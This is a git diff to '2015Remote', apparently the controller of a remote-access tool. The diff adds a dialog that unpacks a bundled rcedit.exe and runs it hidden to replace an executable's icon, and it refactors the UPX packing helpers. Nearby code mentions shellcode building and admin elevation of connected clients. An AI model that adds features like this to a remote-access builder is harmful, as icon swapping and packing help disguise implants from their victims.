diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 4cfc944..df70e88 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f393feb..fa8d285 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -41,6 +41,7 @@ #include "CDrawingBoard.h" #include "CWalletDlg.h" #include +#include "CRcEditDlg.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -477,6 +478,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline) ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin) ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet) + ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit) END_MESSAGE_MAP() @@ -2656,15 +2658,12 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) return TRUE; } -int run_upx(const std::string& upx, const std::string &file, bool isCompress) { +int run_cmd(std::string cmdLine) { STARTUPINFOA si = { sizeof(si) }; si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; - PROCESS_INFORMATION pi; - std::string cmd = isCompress ? "\" --best \"" : "\" -d \""; - std::string cmdLine = "\"" + upx + cmd + file + "\""; - + PROCESS_INFORMATION pi = { 0 }; BOOL success = CreateProcessA( NULL, &cmdLine[0], // 注意必须是非 const char* @@ -2688,20 +2687,14 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) { return static_cast(exitCode); } +int run_upx(const std::string& upx, const std::string &file, bool isCompress) { + std::string cmd = isCompress ? "\" --best \"" : "\" -d \""; + std::string cmdLine = "\"" + upx + cmd + file + "\""; + return run_cmd(cmdLine); +} + std::string ReleaseUPX() { - DWORD dwSize = 0; - LPBYTE data = ReadResource(IDR_BINARY_UPX, dwSize); - if (!data) - return ""; - - char path[MAX_PATH]; - DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); - std::string curExe = path; - GET_FILEPATH(path, "upx.exe"); - BOOL r = WriteBinaryToFile(path, (char*)data, dwSize); - SAFE_DELETE_ARRAY(data); - - return r ? path : ""; + return ReleaseEXE(IDR_BINARY_UPX, "upx.exe"); } // 解压UPX对当前应用程序进行操作 @@ -3305,3 +3298,10 @@ void CMy2015RemoteDlg::OnMainWallet() THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress); SendMasterSettings(nullptr); } + + +void CMy2015RemoteDlg::OnToolRcedit() +{ + CRcEditDlg dlg; + dlg.DoModal(); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 1534801..b2b0ea8 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -305,4 +305,5 @@ public: afx_msg void OnOnlineRunAsAdmin(); afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam); afx_msg void OnMainWallet(); + afx_msg void OnToolRcedit(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index bf4a89d..11ae998 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -247,6 +247,7 @@ + @@ -267,6 +268,7 @@ + @@ -339,6 +341,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index dbefb42..3710b2b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -54,6 +54,7 @@ + @@ -120,6 +121,7 @@ + @@ -195,6 +197,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index c590f64..e1bc38f 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -104,6 +104,22 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size); +std::string ReleaseEXE(int resID, const char* name) { + DWORD dwSize = 0; + LPBYTE data = ReadResource(resID, dwSize); + if (!data) + return ""; + + char path[MAX_PATH]; + DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); + std::string curExe = path; + GET_FILEPATH(path, name); + BOOL r = WriteBinaryToFile(path, (char*)data, dwSize); + SAFE_DELETE_ARRAY(data); + + return r ? path : ""; +} + typedef struct SCInfo { unsigned char aes_key[16]; diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 123502e..1b606cd 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -4,6 +4,8 @@ LPBYTE ReadResource(int resourceId, DWORD& dwSize); +std::string ReleaseEXE(int resID, const char* name); + // CBuildDlg Ի class CBuildDlg : public CDialog diff --git a/server/2015Remote/CRcEditDlg.cpp b/server/2015Remote/CRcEditDlg.cpp new file mode 100644 index 0000000..6e1c7af --- /dev/null +++ b/server/2015Remote/CRcEditDlg.cpp @@ -0,0 +1,127 @@ +// CRcEditDlg.cpp: 实现文件 +// + +#include "stdafx.h" +#include "CRcEditDlg.h" +#include "afxdialogex.h" +#include "Resource.h" + + +// CRcEditDlg 对话框 + +IMPLEMENT_DYNAMIC(CRcEditDlg, CDialogEx) + +CRcEditDlg::CRcEditDlg(CWnd* pParent /*=nullptr*/) + : CDialogEx(IDD_DIALOG_RCEDIT, pParent) + , m_sExePath(_T("")) + , m_sIcoPath(_T("")) +{ + +} + +CRcEditDlg::~CRcEditDlg() +{ +} + +void CRcEditDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_EXE_FILE, m_EditExe); + DDX_Control(pDX, IDC_EDIT_ICO_FILE, m_EditIco); + DDX_Text(pDX, IDC_EDIT_EXE_FILE, m_sExePath); + DDV_MaxChars(pDX, m_sExePath, 256); + DDX_Text(pDX, IDC_EDIT_ICO_FILE, m_sIcoPath); + DDV_MaxChars(pDX, m_sIcoPath, 256); +} + + +BEGIN_MESSAGE_MAP(CRcEditDlg, CDialogEx) + ON_BN_CLICKED(IDC_BTN_SELECT_EXE, &CRcEditDlg::OnBnClickedBtnSelectExe) + ON_BN_CLICKED(IDC_BTN_SELECT_ICO, &CRcEditDlg::OnBnClickedBtnSelectIco) +END_MESSAGE_MAP() + + +// CRcEditDlg 消息处理程序 + + +BOOL CRcEditDlg::OnInitDialog() +{ + CDialogEx::OnInitDialog(); + + // TODO: 在此添加额外的初始化 + + return TRUE; // return TRUE unless you set the focus to a control + // 异常: OCX 属性页应返回 FALSE +} + + +void CRcEditDlg::OnOK() +{ + if (m_sExePath.IsEmpty()) { + MessageBox("请选择目标应用程序!", "提示", MB_ICONINFORMATION); + return; + } + if (m_sIcoPath.IsEmpty()) { + MessageBox("请选择[*.ico]图标文件!", "提示", MB_ICONINFORMATION); + return; + } + std::string ReleaseEXE(int resID, const char* name); + int run_cmd(std::string cmdLine); + + std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe"); + if (rcedit.empty()) { + MessageBox("解压程序失败,无法替换图标!", "提示", MB_ICONINFORMATION); + return; + } + std::string exe = m_sExePath.GetString(); + std::string icon = m_sIcoPath.GetString(); + std::string cmdLine = "\"" + rcedit + "\" " + "\"" + exe + "\" --set-icon \"" + icon + "\""; + int result = run_cmd(cmdLine); + if (result) { + MessageBox(CString("替换图标失败,错误代码: ") + std::to_string(result).c_str(), + "提示", MB_ICONINFORMATION); + return; + } + + CDialogEx::OnOK(); +} + + +void CRcEditDlg::OnBnClickedBtnSelectExe() +{ + CFileDialog fileDlg(TRUE, _T("exe"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, + _T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); + return; + } + if (ret == IDOK) + { + m_sExePath = fileDlg.GetPathName(); + m_EditExe.SetWindowTextA(m_sExePath); + } +} + + +void CRcEditDlg::OnBnClickedBtnSelectIco() +{ + CFileDialog fileDlg(TRUE, _T("ico"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, + _T("EXE Files (*.ico)|*.ico|All Files (*.*)|*.*||"), AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); + return; + } + if (ret == IDOK) + { + m_sIcoPath = fileDlg.GetPathName(); + m_EditIco.SetWindowTextA(m_sIcoPath); + } +} diff --git a/server/2015Remote/CRcEditDlg.h b/server/2015Remote/CRcEditDlg.h new file mode 100644 index 0000000..5253088 --- /dev/null +++ b/server/2015Remote/CRcEditDlg.h @@ -0,0 +1,35 @@ +#pragma once + +#include +#include + + +// CRcEditDlg 对话框 + +class CRcEditDlg : public CDialogEx +{ + DECLARE_DYNAMIC(CRcEditDlg) + +public: + CRcEditDlg(CWnd* pParent = nullptr); // 标准构造函数 + virtual ~CRcEditDlg(); + +// 对话框数据 +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_RCEDIT }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + DECLARE_MESSAGE_MAP() +public: + CEdit m_EditExe; + CEdit m_EditIco; + CString m_sExePath; + CString m_sIcoPath; + virtual BOOL OnInitDialog(); + virtual void OnOK(); + afx_msg void OnBnClickedBtnSelectExe(); + afx_msg void OnBnClickedBtnSelectIco(); +}; diff --git a/server/2015Remote/res/rcedit.exe b/server/2015Remote/res/rcedit.exe new file mode 100644 index 0000000..0d817e9 Binary files /dev/null and b/server/2015Remote/res/rcedit.exe differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 24aa704..b44d17d 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ